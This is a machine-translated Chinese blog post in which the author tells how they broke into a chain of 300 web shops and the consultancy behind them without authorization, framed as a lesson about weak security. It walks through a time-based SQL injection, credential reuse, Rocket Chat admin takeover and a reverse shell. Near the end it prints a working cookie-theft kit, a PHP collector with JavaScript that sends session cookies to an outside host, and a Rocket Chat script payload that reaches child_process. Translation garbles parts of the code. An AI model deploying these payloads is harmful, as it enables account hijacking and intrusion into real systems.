我妥协了 300 家商店和一家“西班牙咨询公司”

2021-08-06 07:38:17

关于我如何妥协 300 家商店和一家“西班牙咨询公司”的故事。你知道,我在网上商店比较我想买的东西的价格。我无聊。我打开了 Wappalyzer:Apache 2.4.46、Amazon EC2、PHP。好的!这一切都始于“让我们看看这个网站是否容易受到某些东西的影响”。我不会发布名字,我会尽量避免任何提示。有关漏洞和错误配置的报告仍在进行中,因此某些问题可能尚未在所有地方修复。它不是 Wordpress 或其他类型的 CMS,好吧……我检查了 robots.txt。我找到了一个可以登录的面板……我尝试了默认凭据,例如 admin/admin 等,但是没有用。阅读登录面板的页脚,我发现了两件事。这家店是一家拥有300多家店的连锁店的一部分,CMS/Platform(不知道怎么称呼)是同一家公司做的。稍微“谷歌搜索”确认一下,我发现所有这些都有相同的“CMS”,相同的登录面板,只有一些差异,如 CSS、语言等。如果他们都有共同的凭据怎么办?看起来很有希望! 😅 让我们扫描此服务器的端口以获取更多信息。端口 21 打开 ftp vsftpd 2.2.2 端口 22 打开 ssh OpenSSH 7.4 端口 80 打开 http Apache httpd 2.4.48 Amazon OpenSSL/1.0.2k-fips PHP/7.1.33 端口 443 打开 ssl Apache httpd 我将文件扫描导出到了解服务器上运行的服务。

我总是先尝试基本的东西。我在搜索栏上尝试了一些反射/持久性 XSS、SQL 注入等。 URL中有一些参数,所以我想我可以在那里注入代码,但一开始我没有成功。那一刻我想:“好吧……也许构建这个自定义 CMS 的人正在清理参数,或者使用我不知道的一些框架,在幕后为他们做这件事”。并不真地。你以前读过关于基于时间的 SQL 盲注攻击吗?搜索栏有一些过滤器可以应用,所以我尝试了一些东西,BINGO! 😎 神奇的事情发生在 ; SELECT SLEEP(5)# 你可以在谷歌上搜索更多。这里重要的是,我能够转储数据库。我期待只有几个表,与站点相关的表,但令我惊讶的是,我之前在登录面板上看到的只有一个带有此链名称的模式。这个模式包含三千多个表,是的,超过 3000 个表。在这一点上,我花一些时间试图找出表格。其中一些用英语,另一些用西班牙语,理论上也是临时表,但有趣的是:Usuarios。我从该表中下载了数据,以及潜在管理员用户、电子邮件、电话、当时我不理解的一些令牌等的列表。至少密码是经过哈希处理的。这时候我有点难过。心想:“嗯……到此为止了。我发现了一个 SQL 注入,有很多数据,但没有别的。”我的女朋友和我的狗建议我离开电脑,所以我去睡觉了。 🌖 我一直在寻找励志名言把它放在这里,但我只是想出了这个:我没有走在正确的道路上。我不得不想办法解决其他问题。我醒来后,用“Usuarios”表中的数据创建了一个字典。实际上,不需要蛮力。我在第一次尝试时就得到了它。跆拳道?严重地? 🤯 我在不到 1 分钟的时间内以超级管理员的身份访问了仪表板。这家伙的密码和他的用户名一样。好的! 👏🏼 我无法上传它的图片,但可以想象一下仪表板的通用 Bootstrap 模板。我可以访问所有内容:订单、折扣、产品、客户、新闻/帖子、时事通讯等,并且我有权做我想做的一切。

这是这家公司的普遍做法吗?是的。我还没有尝试过这 300 家商店,但我以超级管理员身份登录了其中的一些商店,并且能够使用相同的凭据登录到不属于连锁店的其他网页。我很幸运。我的意思是,最后,它可能只是 SQL 注入,但你知道……“人类是网络安全链中最薄弱的环节。”我想给这些人写一封电子邮件,让他们知道他们代码中的漏洞以及他们的不良做法,但此时我没有。我觉得我能够找到更多关于这家公司的东西。我以前在咨询公司工作,通常这些公司参与的项目不止一个。于是,我打开浏览器,开始对这家公司做一些“OSINT”。 - 该公司参与的项目从“concursos públicos”获得资金。 - (例如,他们的“自治自治”项目。) - CMS 不仅仅在 300 家商店中使用。 - 它也在其他项目中重复使用,是的,我发现的凭据仍然有效。 - 该公司提供不同的(易受攻击的)产品,其中一些作为 SAAS。还有更多的东西,但如果可能的话,我想保持这篇文章的简短。在这一点上,我对这家公司有了一些了解。我试图找到子域,其中一个可能引起了我的注意。该公司在子域下使用 Rocket Chat(类似于 Slack),您不需要任何 VPN/2FA/任何登录。找出凭据!嗯你是对的! 😉 我们的凭据也适用于聊天,我们的家伙拥有管理员角色。好吧,我进去了! 🍾🥂 可以说我在公司里面。在这一点上,我能够阅读与员工的私人谈话,在公共频道/私人谈话中找到的话,看看他们对客户的评价……我想要什么……最后,我以他们的老板的身份登录,并且他具有管理员角色。

如果我们看一下我上面写的端口扫描,我们已经打开了 21/22 端口,对吗?因此,让我们尝试在私人对话中查找凭据。是的,我有 FTP 和 SSH 凭据!在这一点上,我能够上传/下载/修改代码,实际上,这就是我找到数据库主机 + 凭据的方式,因为您可能知道,如果您不使用,在某些配置文件中拥有凭据是很常见的,idk 、AWS Secrets Manager 或类似的东西。用户在这里写他们的信用卡。你了解这一切的风险吗?无论如何......我能够获得一个反向shell并查看服务器。拥有管理员凭据,这本身就很重要。我的意思是,我可以阅读他们关于所有事情的对话。但是,我们没有每个人的凭据,看起来有些员工没有遵循不良做法,因此他们的密码不是他们的用户名。不用担心,多一点“谷歌搜索”,我们可以解决这个问题! Rocket Chat 允许您在 JavaScript 中创建自定义脚本。我是管理员,所以,我可以做到!它的想法是创建一个脚本,该脚本在某处发出请求以保存 rc_uid 和 rc_token。在这一点上,你必须“有创意?”。让我们创建一个简单的 PHP 脚本并将其部署到某个地方:

<?php $filename = 'info.txt' ; if ( isset( $_REQUEST[ 'cookie']) && isset( $_REQUEST[ 'user'])) { $text = $_REQUEST[ 'user'] . ":" 。 $_REQUEST['cookie']。 " \n " ; if ( is_writable( $filename)) { if ( ! $handle = fopen( $filename , 'a')) { echo "cannot open file ( $filename)" ;出口 ; } if ( fwrite( $handle , $text) === FALSE) { echo "无法写入文件 ( $filename )" ;出口 ; } 回声“成功”; fclose($handle); } else { echo "文件 $filename 不可写"; } } // 添加你的脚本 let c = document .曲奇饼 。 split( ';') 让 u = 文档。 querySelector( '.avatar-image') 。源文件。 split( '/')[ 4] fetch( "https://urlOfOurPHPScript.com/index.php?cookie=" +c + "&user=" +u + "") 。然后((r) => r . json()) 。然后((数据) => {}) 。 catch((e) => {}) ;而已!我们最终会得到一个包含每个人的 cookie 的文件。它应该是这样的: 我们现在可以在浏览器中修改本地存储和 cookie。刷新它,我们将拥有您选择的用户的会话。管理员很容易劫持您的帐户,不是吗?如果您使用 Rocket Chat,请注意你们对老板的评价,以防万一! 😅 要了解有关此步骤的更多信息,请参阅本故事的最后一个。我推荐原帖。这个简单的有效载荷有效,因此我能够查看运行火箭聊天的实例内部。

const 要求 = 控制台。 log('返回 process.mainModule.require')(); const { spawnSync } = require('child_process'); const ls = spawnSync( 'ls' , [ '-la' , '/']) ; class Script { process_incoming_request({ request }) { return { content : { text : ls .标准输出。 toString() } } } } 这篇文章旨在向人们展示他们的数据在某些环境中如何容易被盗,以及公司如何忘记关于网络安全的最低水平的良好实践。最后,我很幸运,凭据薄弱,这是让我能够继续所有这些的重要一点。正如我所说,这篇文章是为了提高认识,而不是指出任何公司的开发人员、管理员等。 SSL 是不够的。如您所见,也许您在其中一家商店中写入了信用卡/个人数据。出于安全目的,此报告将不包含名称。即使这一切都解决了,我也会保持它现在的样子。